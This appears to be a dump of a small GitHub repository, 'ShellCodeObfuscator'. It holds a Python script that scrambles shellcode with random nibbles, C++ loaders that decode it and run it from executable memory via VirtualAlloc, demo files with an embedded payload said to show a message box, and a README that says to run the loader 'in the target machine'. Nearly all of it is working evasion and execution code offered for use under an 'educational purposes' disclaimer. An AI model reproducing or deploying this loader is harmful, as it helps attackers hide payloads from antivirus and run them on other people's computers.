├── DEMO ├── demo.exe ├── run_demo.cpp └── shell_o_demo.py ├── README.md ├── run.cpp └── shell_o.py /DEMO/demo.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Paulo-D2000/ShellCodeObfuscator/5bfc4dbad037b306133014b58ebbd510afec6610/DEMO/demo.exe -------------------------------------------------------------------------------- /DEMO/run_demo.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | using namespace std; 10 | 11 | int main(){ 12 | 13 | //PASTE THE OUTPUT FROM shell_o.py in here, *FOLLOW THE CHARACTER COUNT!* 14 | unsigned char s[] = 15 | {"\x43\x21\x8d\x32\xfb\xe2\xf3\xc0\x66\x34\xf8\x0b\xc1\xd2\x08" 16 | "\xeb\x85\x72\x30\xac\x08\x0b\x05\x02\xc1\x6c\xd8\x0b\x74\xe2" 17 | "\xf0\x78\xb8\x7b\x77\xe2\x92\x00\xd8\x3b\x51\x92\x38\xa0\xd7" 18 | "\x6e\x90\x9c\xf3\xc3\x17\xf5\x7f\xc2\xd8\x59\xbc\xb7\x20\xe3" 19 | "\x37\x58\xc3\xbc\xf8\x0b\xf5\x17\x97\xc8\x50\x51\x7c\x02\x68" 20 | "\x7b\xc7\xba\xb2\xe0\x80\x01\xcc\x47\x63\xd1\x1e\xfd\xb8\x6b" 21 | "\xd3\xf4\xba\xdf\xb0\x01\xac\xe6\x04\x75\x58\x51\x23\x8e\x14" 22 | "\x26\x26\x01\xe7\x04\x86\x71\x87\x35\x5f\xb2\x98\x21\x57\x5e" 23 | "\x80\x58\x84\x95\xe7\xa8\xf6\xf9\x37\x04\x97\xc5\xae\xd9\x68" 24 | "\x8b\x37\x8a\x62\xd4\x00\x71\x0c\xc7\x46\x16\x58\xeb\xd2\x7c" 25 | "\xe6\x7f\x08\xcb\xa7\xda\x11\x9c\x40\x61\x1c\x97\x28\x2b\x97" 26 | "\x9c\x5a\xdf\x8f\x4c\x00\x11\x6c\xe7\x56\x18\xc7\x69\xb7\x34" 27 | "\x66\xd5\x60\xf1\x36\xc8\x96\xfb\x06\xa5\xc6\x9e\x04\x52\x66" 28 | "\xa8\x42\xa0\xd4\x62\x87\x32\xc6\xbf\xf8\x79\x2e\x11\x2f\x4e" 29 | "\x54\x59\x60\x8b\xa3\x81\xbc\xa0\xa5\x31\x95\x70\xff\x4f\x3d" 30 | "\xa7"}; 31 | 32 | stringstream stream; 33 | 34 | for (int k = 0; k < sizeof s; k++){ 35 | stream << setfill('0') << setw(2) << right << hex << (int)s[k]; 36 | } 37 | 38 | //Removing the \x 39 | 40 | string coluna = stream.str(); 41 | 42 | string result; 43 | 44 | for (int i = 1; i < coluna.size(); i = i + 2){ 45 | result += coluna[i]; 46 | } 47 | 48 | //Sending the deobfuscated shellcode to an string 49 | 50 | string newString; 51 | for (int i = 0; i < result.length(); i+=2) 52 | { 53 | string byte = result.substr(i, 2); 54 | char chr = (char)(int)strtol(byte.c_str(), NULL, 16); 55 | newString.push_back(chr); 56 | } 57 | 58 | //Allocating the shellcode in memory 59 | 60 | void *buffer = VirtualAlloc(0, newString.length(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 61 | 62 | //Copying the bytes from the string to the allocated memory space 63 | 64 | RtlCopyMemory(buffer, newString.c_str(), newString.length()); 65 | 66 | //Running the allocated memory region! 67 | 68 | ((void(*)())buffer)(); 69 | 70 | return 0; 71 | } -------------------------------------------------------------------------------- /DEMO/shell_o_demo.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import random 3 | import time 4 | 5 | #PASTE YOUR SHELLCODE HERE, FOLLOW THE CHARACTER COUNT PER LINE and don't forget the b ! 6 | 7 | payload = (b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" 8 | b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" 9 | b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" 10 | b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" 11 | b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" 12 | b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" 13 | b"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" 14 | b"\x49\x0b\x31\xc0\x51\x50\xff\xd7") 15 | au = [] 16 | ua = [] 17 | n = [] 18 | AR = [] 19 | 20 | #After creating some arrays, convert the shellcode to string 21 | 22 | k = binascii.hexlify(payload).decode('utf-8') 23 | chars = "0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f" 24 | random.seed(1) 25 | 26 | #APPENDING THE RANDOM BYTES 27 | 28 | for i in k: 29 | au.append(random.choice(chars.split(","))+i) 30 | 31 | f = "\\x"+"\\x".join(au) 32 | while f: 33 | n.append(f[:60]) 34 | f = f[60:] 35 | 36 | #ADDING THE \x 37 | 38 | input = "\""+"\"\n\"".join(n) 39 | 40 | print(input) 41 | 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ShellCodeObfuscator 2 | 3 | *ATENTION! I DON'T RESPONSABILIZE FOR YOUR ACTS, THIS CODE IS ONLY FOR EDUCATIONAL PURPOSES!" 4 | 5 | *THIS PROGRAM IS IN DEVELOPMENT! - ONLY TESTED IN WINDOWS 10 X64 BITS* 6 | 7 | Simple shellcode obfuscator using PYTHON (and C / C++ for deobfuscation & memory execution) It uses byte shifting to obfuscate the shellcode and run it in the memory. 8 | 9 | EXAMPLE: /x21> /xa2 /xf1 10 | 11 | USAGE: Change the payload bytes in the file shell_o.py and run it, then paste the output in run.cpp, compile it and run in the target machine. 12 | 13 | The deobfuscator is provided in C / C++, just edit it and compile using GCC. 14 | 15 | *ADDED DEMO FILES: 16 | shell_o_demo.py 17 | run_demo.cpp 18 | demo.exe 19 | IT SHOWS ONE SIMPLE MESSAGEBOX WHEN YOU RUN demo.exe* 20 | 21 | *PT - BR* 22 | 23 | * ATENÇÃO! NÃO RESPONSABILIZO POR SEUS ATOS, ESTE CÓDIGO É APENAS PARA FINS EDUCACIONAIS! " 24 | 25 | * ESTE PROGRAMA ESTÁ EM DESENVOLVIMENTO! - SÓ TESTADO NO WINDOWS 10 X64 BITS * 26 | 27 | Ofuscador de shellcode simples usando PYTHON (e C / C ++ para desofuscação e execução de memória) Ele usa byte shifting para ofuscar o código de shell e executá-lo na memória. 28 | 29 | EXEMPLO: / x21> / xa2 / xf1 30 | 31 | USO: Altere os bytes da shellcode no arquivo shell_o.py e execute-o, cole a saída em run.cpp, compile-o e execute-o na máquina de destino. 32 | 33 | O desobfuscador é fornecido em C / C ++, basta editá-lo e compilar usando o GCC. 34 | 35 | *ADICIONADO AQRUIVOS DE DEMONSTRAÇÃO: 36 | shell_o_demo.py 37 | run_demo.cpp 38 | demo.exe 39 | EXIBE UMA CAIXA DE MENSAGEM AO RODAR O ARQUIVO demo.exe* 40 | -------------------------------------------------------------------------------- /run.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | using namespace std; 10 | 11 | int main(){ 12 | 13 | //PASTE THE OUTPUT FROM shell_o.py in here, *FOLLOW THE CHARACTER COUNT!* 14 | unsigned char s[] = 15 | {"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 16 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 17 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 18 | "\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 19 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 20 | "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00" 21 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00" 22 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 23 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 24 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x0c" 25 | "\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" 26 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 27 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 28 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 29 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 30 | "\x00"}; 31 | 32 | stringstream stream; 33 | 34 | for (int k = 0; k < sizeof s; k++){ 35 | stream << setfill('0') << setw(2) << right << hex << (int)s[k]; 36 | } 37 | 38 | //Removing the \x 39 | 40 | string coluna = stream.str(); 41 | 42 | string result; 43 | 44 | for (int i = 1; i < coluna.size(); i = i + 2){ 45 | result += coluna[i]; 46 | } 47 | 48 | //Sending the deobfuscated shellcode to an string 49 | 50 | string newString; 51 | for (int i = 0; i < result.length(); i+=2) 52 | { 53 | string byte = result.substr(i, 2); 54 | char chr = (char)(int)strtol(byte.c_str(), NULL, 16); 55 | newString.push_back(chr); 56 | } 57 | 58 | //Allocating the shellcode in memory 59 | 60 | void *buffer = VirtualAlloc(0, newString.length(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 61 | 62 | //Copying the bytes from the string to the allocated memory space 63 | 64 | RtlCopyMemory(buffer, newString.c_str(), newString.length()); 65 | 66 | //Running the allocated memory region! 67 | 68 | ((void(*)())buffer)(); 69 | 70 | return 0; 71 | } -------------------------------------------------------------------------------- /shell_o.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import random 3 | import time 4 | 5 | #PASTE YOUR SHELLCODE HERE, FOLLOW THE CHARACTER COUNT PER LINE and don't forget the b ! 6 | 7 | payload = bytes(b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 8 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 9 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 10 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 11 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 12 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 13 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 14 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 15 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 16 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 17 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 18 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 19 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 20 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 21 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 22 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 23 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 24 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 25 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 26 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 27 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 28 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 29 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 30 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 31 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 32 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 33 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 34 | b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 35 | b"\x00\x00\x00\x00") 36 | 37 | au = [] 38 | ua = [] 39 | n = [] 40 | AR = [] 41 | 42 | #After creating some arrays, convert the shellcode to string 43 | 44 | k = binascii.hexlify(payload).decode('utf-8') 45 | chars = "0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f" 46 | random.seed(1) 47 | 48 | #APPENDING THE RANDOM BYTES 49 | 50 | for i in k: 51 | au.append(random.choice(chars.split(","))+i) 52 | 53 | f = "\\x"+"\\x".join(au) 54 | while f: 55 | n.append(f[:60]) 56 | f = f[60:] 57 | 58 | #ADDING THE \x 59 | 60 | input = "\""+"\"\n\"".join(n) 61 | 62 | print(input) 63 | 64 | --------------------------------------------------------------------------------